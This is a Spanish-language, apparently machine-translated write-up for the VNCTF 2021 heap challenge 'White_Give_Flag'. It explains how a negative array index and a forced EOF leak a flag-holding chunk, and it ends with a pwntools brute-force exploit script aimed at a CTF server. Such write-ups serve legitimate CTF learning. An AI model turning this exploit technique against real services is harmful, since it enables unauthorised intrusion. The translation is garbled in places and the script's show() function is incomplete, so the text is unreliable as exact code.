Hay un WP oficial en el grupo público. Simplemente registre su propio proceso de recurrencia. He seguido WP durante mucho tiempo. Solo esta pregunta es clara. Esta es la pregunta del maestro de segundo año, tql
[VNCTF 2021] White_Give_Flag
-
Inspección de rutina, programa de 64 bits, protección completa
-
Pruébelo localmente, parece un montón
-
Ida de 64 bits se carga en
main ()
sub_E5A
qword_2010120 Hay 5 cadenas almacenadas en la matriz de qword_2010120, correspondientes a las 5 opciones del menú. Y después de que se ejecute esta función, el valor de flag se dejará en el fragmento.
Sub_F07
La función que lee la opción de menú devuelve el valor de retorno de read () en lugar del valor de retorno de atoi (), e imprime
la cadena en qword_202120 según el valor de retorno -
A través de la función de adición, puede ver que el puntero del montón está almacenado en qword_202100, qword_202120 es el puntero del montón, generamos el contenido en chunk [3] a través de put (qword_202120 [-1])
-
Cuando el tamaño aleatorio de malloc escribe el indicador, el rango de tamaño es [0x300, 0x500]. agregar al fragmento [. 3] se aplica cuando solo hay uno de un tamaño en el rango, si el tamaño del fragmento en la bandera con exactamente, se puede
quitar de este fragmento, luego editar los caracteres llenos de caracteres 0x10 , poner (qword_202120 [-1] ) Puede imprimir la bandera.
El rango de tamaño no es grande y se puede arruinar.
put (qword_202120 [-1]) necesita hacer que read () devuelva 0, es decir, se lee EOF.
Puede ctrl + d. Aunque se requiere granallado, teóricamente es posible la operación manual pura (no se recomienda).
pwntools puede usar shutdown_raw ('enviar') para cerrar la dirección de envío de la canalización, hacer que la lectura remota () lea EOF y devuelva 0.
Publicar directamente el exp oficial de voladuras
from pwn import *
def menu(choice):
r.recvuntil('choice:')
r.sendline(choice)
def add(size):
menu('')
r.recvuntil('size:\n')
r.sendline(str(size))
def edit(index,data):
menu('111')
r.recvuntil('index:\n')
r.sendline(str(index))
r.recvuntil('Content:\n')
r.send(data)
def delete(index):
menu('11')
r.recvuntil('index:\n')
r.sendline(str(index))
def show(index):
menu('1')
while True:
r = remote("node4.buuoj.cn",39123)
add(0x10)
add(0x10)
add(0x10)
add(0x310)
edit(3,'x'*0x10)
r.recvuntil('choice:')
r.shutdown_raw('send')
flag = r.recvline()
log.info(flag)
if 'vnctf{' in flag or '}' in flag:
exit(0)
r.close()
sleep(1)